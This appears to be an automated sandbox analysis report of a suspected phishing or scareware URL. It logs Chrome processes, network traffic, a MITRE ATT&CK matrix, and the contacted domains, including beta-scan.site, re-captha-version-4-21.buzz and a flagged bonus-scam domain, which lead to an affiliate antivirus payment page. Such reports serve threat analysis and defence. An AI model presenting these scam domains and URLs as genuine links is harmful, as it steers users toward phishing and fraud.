Source: unknown	Network traffic detected: HTTP traffic on port 56232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56085
Source: unknown	Network traffic detected: HTTP traffic on port 55872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56087
Source: unknown	Network traffic detected: HTTP traffic on port 56114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56081
Source: unknown	Network traffic detected: HTTP traffic on port 56126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56083
Source: unknown	Network traffic detected: HTTP traffic on port 56149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56095
Source: unknown	Network traffic detected: HTTP traffic on port 56161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56097
Source: unknown	Network traffic detected: HTTP traffic on port 56243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56091
Source: unknown	Network traffic detected: HTTP traffic on port 55849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56092
Source: unknown	Network traffic detected: HTTP traffic on port 56209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56094
Source: unknown	Network traffic detected: HTTP traffic on port 56077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56090
Source: unknown	Network traffic detected: HTTP traffic on port 56115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55869
Source: unknown	Network traffic detected: HTTP traffic on port 56142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55864
Source: unknown	Network traffic detected: HTTP traffic on port 56062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55871
Source: unknown	Network traffic detected: HTTP traffic on port 56107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55759
Source: unknown	Network traffic detected: HTTP traffic on port 56233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55876
Source: unknown	Network traffic detected: HTTP traffic on port 56176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55878
Source: unknown	Network traffic detected: HTTP traffic on port 55859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55873
Source: unknown	Network traffic detected: HTTP traffic on port 55767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55761
Source: unknown	Network traffic detected: HTTP traffic on port 56130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55768
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55762
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55884
Source: unknown	Network traffic detected: HTTP traffic on port 55915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55891
Source: unknown	Network traffic detected: HTTP traffic on port 56051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55893
Source: unknown	Network traffic detected: HTTP traffic on port 56131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55778
Source: unknown	Network traffic detected: HTTP traffic on port 56210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55779
Source: unknown	Network traffic detected: HTTP traffic on port 56153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55774

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:55760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.17:55797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:55809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.185:443 -> 192.168.2.17:55811 version: TLS 1.2

Source: classification engine

Classification label: mal48.phis.troj.win@31/433@195/59

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1920,i,12280442892699311904,4794967593224080757,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1920,i,12280442892699311904,4794967593224080757,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://connect.facebook.net/	0%	URL Reputation	safe
https://getbootstrap.com/)	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
app.upsellit.com	66.226.1.69	true	false	unknown
uidsync.net	178.63.248.56	true	false	unknown
pushbizapi.com	136.243.216.232	true	false	unknown
search.molhajane.live	185.36.140.14	true	false	unknown
global.px.quantserve.com	91.228.74.166	true	false	unknown
mobile-gtalk.l.google.com	74.125.206.188	true	false	unknown
adservice.google.com	142.250.186.66	true	false	unknown
spdc-global.pbp.gysm.yahoodns.net	54.246.144.89	true	false	unknown
collectoru.us.tvsquared.com	3.138.129.130	true	false	unknown
www.upsellit.com	34.117.39.58	true	false	unknown
beta-scan.site	38.180.68.202	true	false	unknown
adobetarget.data.adobedc.net	66.235.152.156	true	false	unknown
scontent.xx.fbcdn.net	157.240.0.6	true	false	unknown
gc.kis.v2.scr.kaspersky-labs.com	185.85.13.155	true	false	unknown
idsync.rlcdn.com	35.244.174.68	true	false	unknown
mcafee.com.ssl.d2.sc.omtrdc.net	63.140.62.27	true	false	unknown
mm-prod-1479240573.ap-southeast-1.elb.amazonaws.com	18.139.38.244	true	false	unknown
www.google.com	142.250.186.100	true	false	unknown
jpgtrk.imghst-de.com	104.26.3.30	true	false	unknown
demdex.net.ssl.sc.omtrdc.net	63.140.62.222	true	false	unknown
ahchoadeegu.homes	185.155.184.36	true	false	unknown
re-captha-version-4-21.buzz	188.114.96.3	true	false	unknown
trk.imghst-de.com	104.26.3.30	true	false	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.72.136.225	true	false	unknown
redrotou.net	139.45.197.251	true	false	unknown
android.l.google.com	142.250.186.174	true	false	unknown
rotator-prod-uk-acai-lb.inbake.com	18.171.79.250	true	false	unknown
star-mini.c10r.facebook.com	157.240.251.35	true	false	unknown
sdk4push.com	157.90.33.121	true	false	unknown
google.com	216.58.206.46	true	false	unknown
s.amazon-adsystem.com	98.82.156.107	true	false	unknown
831be5de.braraildye.live	3.76.71.197	true	false	unknown
static.imghst-de.com	104.26.2.30	true	false	unknown
me.kis.v2.scr.kaspersky-labs.com	185.85.13.154	true	false	unknown
pshmtrack.com	136.243.216.232	true	false	unknown
edge.fullstory.com	35.201.112.186	true	false	unknown
k8cpmrdof.thebigbonusleader.xyz	18.156.16.189	true	true	unknown
my.rtmark.net	139.45.195.8	true	false	unknown
rs.fullstory.com	35.186.194.58	true	false	unknown
www3.l.google.com	172.217.18.14	true	false	unknown
googleads.g.doubleclick.net	172.217.23.98	true	false	unknown
psh-dsp-trk.trkless.com	104.21.79.120	true	false	unknown
td.doubleclick.net	142.250.185.194	true	false	unknown
rtb.altairfomalhaut.com	188.114.97.3	true	false	unknown
prod.upsellit.com	66.226.1.69	true	false	unknown
edge.gycpi.b.yahoodns.net	87.248.119.252	true	false	unknown
dzfq4ouujrxm8.cloudfront.net	13.33.187.116	true	false	unknown
rtr.innovid.com	unknown	unknown	false	unknown
cm.everesttech.net	unknown	unknown	false	unknown
www.mcafee.com	unknown	unknown	false	unknown
avkk.newplanexcel.com	unknown	unknown	false	unknown
adobedc.demdex.net	unknown	unknown	false	unknown
www.jdoqocy.com	unknown	unknown	false	unknown
www.emjcd.com	unknown	unknown	false	unknown
smetrics.mcafee.com	unknown	unknown	false	unknown
02179912.akstat.io	unknown	unknown	false	unknown
connect.facebook.net	unknown	unknown	false	unknown
s.yimg.com	unknown	unknown	false	unknown
cj.dotomi.com	unknown	unknown	false	unknown
cdn1.adoberesources.net	unknown	unknown	false	unknown
tags.tiqcdn.com	unknown	unknown	false	unknown
sp.analytics.yahoo.com	unknown	unknown	false	unknown
s.go-mpulse.net	unknown	unknown	false	unknown
collector-30568.us.tvsquared.com	unknown	unknown	false	unknown
dpm.demdex.net	unknown	unknown	false	unknown
mcafeeinc.demdex.net	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
id.mcafee.com	unknown	unknown	false	unknown
secure.quantserve.com	unknown	unknown	false	unknown
mcafee12.tt.omtrdc.net	unknown	unknown	false	unknown
s-static.innovid.com	unknown	unknown	false	unknown
pixel.quantserve.com	unknown	unknown	false	unknown
translate.google.com	unknown	unknown	false	unknown
c.go-mpulse.net	unknown	unknown	false	unknown
baxhwilimy34czx6wyfa-f-dcf13e1a4-clientnsv4-s.akamaihd.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968795576&PageStart=1727968793870&PrevBundleTime=0&LastActivity=1464&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://psh-dsp-trk.trkless.com/?s58=jyOgdF5Yo7q9VvBJfJjVffPlvcjDs4U2cIypsLXKPSIH%2F%2BfreI4IHFFfvTmqsg5du6%2FhhIuZRKy3u%2BHPet8g7giv%2B91eGUhptpGXmzeTfzvuddhSKV4LOBOg3tBybz%2FoV93wsGNLrziAvBwFNgVCPQwMd6YphHa5v%2B%2BF7qybsoTk%2FiFyy56LG9Q0mRm3RuI0u9DhOHMpZSK9e9UKgmY5chxRFnVS9XzcjCOCh8IuekiGH7gcqA5Fwlubhgj76Oa5JSxJWxWQPdJTvgTC6vtwPTghJv4PIIF6CcMz8MIsqj3LaF1RhmDz%2BMlN%2B8nuu6U2yuT6JqQyIqRtXvhOA4NRG%2BBDxbAuO%2BldGqWk658y36vsmyKp7rONHAMgW9mz8rrW&brid=PB04-0HN6JRJINBG0M4IRS&type=2&inst=b04	false	unknown
https://collector-30568.us.tvsquared.com/tv2track.php?action_name=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&idsite=TV-6390453618-1&rec=1&r=111348&h=11&m=19&s=55&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&urlref=https%3A%2F%2Fbeta-scan.site%2F&_id=3ecc6dbd12117410&_idts=1727968795&_idvc=0&_idn=1&_viewts=&cvar=%7B%225%22%3A%5B%22PAGEVIEW%22%2C%22%7B%5C%22rev%5C%22%3A%5C%22%5C%22%2C%5C%22prod%5C%22%3A%5B%5C%22663%5C%22%5D%2C%5C%22id%5C%22%3A%5C%22payment%5C%22%2C%5C%22promo%5C%22%3A%5C%221494%5C%22%7D%22%5D%7D&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&_cvar=%7B%225%22%3A%5B%22session%22%2C%22%7B%5C%22user%5C%22%3A%5C%226%5C%22%7D%22%5D%7D&gt_ms=1074	false	unknown
https://beta-scan.site/landers/gsb/GSB/files/images/safe-browser-logo.png	false	unknown
https://beta-scan.site/landers/gsb/GSB/files/script/lang.js	false	unknown
https://smetrics.mcafee.com/b/ss/mcafeewwconsumermain/1/JS-2.22.4/s76665566141826?AQB=1&ndh=1&pf=1&t=3%2F9%2F2024%2011%3A19%3A51%204%20240&sdid=2490DEFD0841EF15-183BA7116461F29E&mid=49443056025243886783586588993950607490&aamlh=6&ce=UTF-8&ns=mcafeeconsumer&cdp=2&g=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html&r=https%3A%2F%2Fbeta-scan.site%2F&cc=usd&events=event25%2Cevent28%2Cevent200%2Cevent243%2Cevent1&products=%3B663%3B%3B%3B%3BeVar61%3Dpaid&aamb=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&c1=payment&v1=payment&l2=6a99f253-6888-47ce-8b47-55b36a90c42e&c5=%5Bconsumer%3Aweb%5Dcart&v5=%5Bconsumer%3Aweb%5Dcart&c6=%5Bconsumer%3Aweb%5Dbilling%20and%20payment&v6=%5Bconsumer%3Aweb%5Dbilling%20and%20payment&c7=Page%20Name-payment&c8=www.mcafee.com&v8=new&c9=en-us&v9=en-us&v13=1494%3Adirect_aff_cj&v14=direct&c15=consumer&v15=consumer&v18=unknown&v20=na&v21=united%20states&v23=8%3A00AM&v24=Thursday&v27=default&c31=singlepage%20v4&v31=singlepage%20v4&c33=web&v33=web&v35=usd&v36=creditcard&v37=new&v86=663-1%20years&v114=cj&v115=creative%2Bclicks%2Busa%2Bcn&v124=direct&v128=am&v130=partnerlinks_e740f130819a11ef82fd372f0a18ba73&v132=cj&v175=mcafee%C2%AE%20pc%20optimizer%7Cmcafee%2B%E2%84%A2%20advanced%20-%20individual&v179=%2489.99&v198=undefined%7Cundefined%7Cundefined&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=A729776A5245B1590A490D44%40AdobeOrg&AQE=1	false	unknown
https://connect.facebook.net/signals/config/554540123362514?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968798173&PageStart=1727968793870&PrevBundleTime=1727968798364&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.548.js?utv=ut4.39.202409111541	false	unknown
